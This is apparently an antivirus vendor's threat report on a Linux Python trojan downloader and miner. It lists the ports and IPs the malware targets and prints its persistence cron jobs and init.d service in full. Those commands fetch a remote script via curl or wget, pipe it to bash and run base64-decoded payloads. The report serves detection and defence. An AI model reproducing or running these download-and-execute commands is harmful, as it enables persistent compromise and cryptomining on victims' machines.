Analysé par: Patrick Noel Collado   
 

Trojan-Downloader.Python.Miner.b (Kaspersky)

 Plate-forme:

Linux

 Overall Risk:
 Dommages potentiels: :
 Distribution potentielle: :
 reportedInfection:
 Information Exposure Rating::
Faible
Medium
Élevé
Critique

  • Type de grayware:
    Trojan

  • Destructif:
    Non

  • Chiffrement:
     

  • In the wild::
    Oui

  Overview

Voie d'infection: Fallen gelassen von anderer Malware, Aus dem Internet heruntergeladen

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Détails techniques

File size: 13,047 bytes
File type: PY
Memory resident: Oui
Date de réception des premiers échantillons: 28 août 2020
Charge malveillante: Connects to URLs/IPs, Downloads files, Terminates processes

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Andere Details

Es macht Folgendes:

  • Terminates processes connected to the following ports:
    • :3333
    • :4444
    • :5555
    • :7777
    • :14444
    • :5790
    • :45700
    • :2222
    • :9999
    • :20580
    • :13531
  • Terminates processes connected to the following IP:
    • {BLOCKED}.{BLOCKED}.24.12:8080
    • {BLOCKED}.{BLOCKED}.17.13:8080
    • {BLOCKED}.{BLOCKED}.11.170:443
  • It creates the following cron jobs for persistence:
    • Path: /etc/cron.d/root
      • Schedule: Every Minute
      • Command: */1 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.d/apache/root
      • Schedule: Every Two Minutes
      • Command: */2 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.d/nginx
      • Schedule: Every Three Minutes
      • Command: */3 * * * * root lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/.xo; bash /tmp/.xo; rm -rf /tmp.xo\n##
    • Path: /var/spool/cron/root
      • Schedule: Every Thirty Minutes
      • Command: */30 * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi\n; rm -rf /tmp/xmi\n##
    • Path: /var/spool/cron/crontabs/root
      • Schedule: Every Minute
      • Command: * * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.hourly/oanacroner1
      • Schedule: Every Hour
      • Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi
  • It creates the following service for persistence:
    • Path: /etc/init.d/down
      • Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo "{base 64 encoded string}" | base64 -d | bash -'

  Solutions

Moteur de scan minimum: 9.850
First VSAPI Pattern File: 16.153.00
First VSAPI Pattern Release Date: 08 août 2020
VSAPI OPR Pattern Version: 16.154.00
VSAPI OPR Pattern Release Date: 09 août 2020

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